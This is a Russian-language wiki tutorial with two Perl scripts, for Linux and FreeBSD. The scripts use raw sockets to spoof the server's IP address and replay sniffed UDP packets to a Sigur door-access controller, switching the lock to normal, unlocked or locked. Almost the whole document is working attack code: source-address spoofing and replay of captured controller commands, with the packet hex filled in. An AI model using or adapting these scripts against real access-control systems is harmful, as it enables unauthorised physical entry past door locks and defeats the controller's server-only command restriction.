Скрипт с использованием RAW socket на примере системы управления доступом Sigur\\
Приложения сервера и клиента распологаются на одной виртуалке с Windows 7, т.к. сам сервер настроен как внутренний,\\
соответственно контроллер двери принимает команды только с айпи адреса сервера,\\
при попытке отправить пакетик с устройства с отличающимся адресом контроллер нас проигнорирует\\
поэтому мы будем использовать сырые сокеты, что позволит нам подменить адрес отправителя и управлять дверью с других устройств\\
У контроллера есть 3 состояния\\
0 - доступ по пропускам\\
1 - замок открыт\\
2 - замок закрыт\\
С открытым замком будьте осторожны, в моем случае замок в открытом состоянии сильно нагревается...\\
C помощью Wireshark'a снифаем пакетики предварительно установив фильтр в соответствии с адресом контроллера,\\
после чего загружаем дамп в Colasoft Packet Builder, и начинаем последовательно отправлять до тех пор пока двери не откроются\\
найдя нужные пакетики можем приступать к написанию скритика\\
\\
Скрипт запускается с параметрами [SERVER IP] [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT] [state: normal/unlock/lock]\\
**Под Linux**\\
<file perl sigur.pl>
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
my $server_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: [SERVER IP] [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $server_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: $server_ip $server_port [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip [CONTROLLER_PORT]\n";
my $state = (defined($ARGV[0]) and ($ARGV[0] eq 'normal' or $ARGV[0] eq 'unlock' or $ARGV[0] eq 'lock')) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip $conroller_port [state: normal/unlock/lock]\n";
socket(SOCKET, PF_INET, SOCK_RAW, 255);

my $packet = undef;

if($state eq 'normal')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3000002b00');
	print "Door normal\n";
}
elsif($state eq 'unlock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3200002b02');
	print "Door unlock\n";
}
elsif($state eq 'lock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3100002b01');
	print "Door lock\n";
}
send(SOCKET, $packet, 0, sockaddr_in($conroller_port, inet_aton($conroller_ip)));
close(SOCKET);


sub DecToHexIP
{
	my $ip = shift;
	$ip =~ m/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/;
	my $result = sprintf("%02x", $1) . sprintf("%02x", $2) . sprintf("%02x", $3) . sprintf("%02x", $4);
	return $result;
}

sub DecToHexPort
{
	my $port = shift;
	my $result = sprintf("%04x", $port);
	return $result;
}
</file>

**Под FreeBSD**

<file perl sigur.pl>
#!/usr/local/bin/perl
use strict;
use warnings;
use Socket qw(IPPROTO_IP PF_INET SOCK_RAW IP_HDRINCL inet_aton sockaddr_in);;
my $server_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: [SERVER IP] [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $server_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: $server_ip $server_port [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip [CONTROLLER_PORT]\n";
my $state = (defined($ARGV[0]) and ($ARGV[0] eq 'normal' or $ARGV[0] eq 'unlock' or $ARGV[0] eq 'lock')) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip $conroller_port [state: normal/unlock/lock]\n";
socket(SOCKET, PF_INET, SOCK_RAW, 255);
setsockopt(SOCKET, IPPROTO_IP, IP_HDRINCL, 1);
my $packet = undef;

if($state eq 'normal')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3000002b00');
	print "Door normal\n";
}
elsif($state eq 'unlock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3200002b02');
	print "Door unlock\n";
}
elsif($state eq 'lock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3100002b01');
	print "Door lock\n";
}
send(SOCKET, $packet, 0, sockaddr_in($conroller_port, inet_aton($conroller_ip)));
close(SOCKET);


sub DecToHexIP
{
	my $ip = shift;
	$ip =~ m/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/;
	my $result = sprintf("%02x", $1) . sprintf("%02x", $2) . sprintf("%02x", $3) . sprintf("%02x", $4);
	return $result;
}

sub DecToHexPort
{
	my $port = shift;
	my $result = sprintf("%04x", $port);
	return $result;
}
</file>

Обратите внимание, что во втором случае мы включаем IP_HDRINCL, иначе заголовок IPv4 будет автоматически сгенерирован\\
(спасибо ребятам из [[https://t.me/freebsd_ru|русскоязыного чатика FreeBSD]] за подсказку)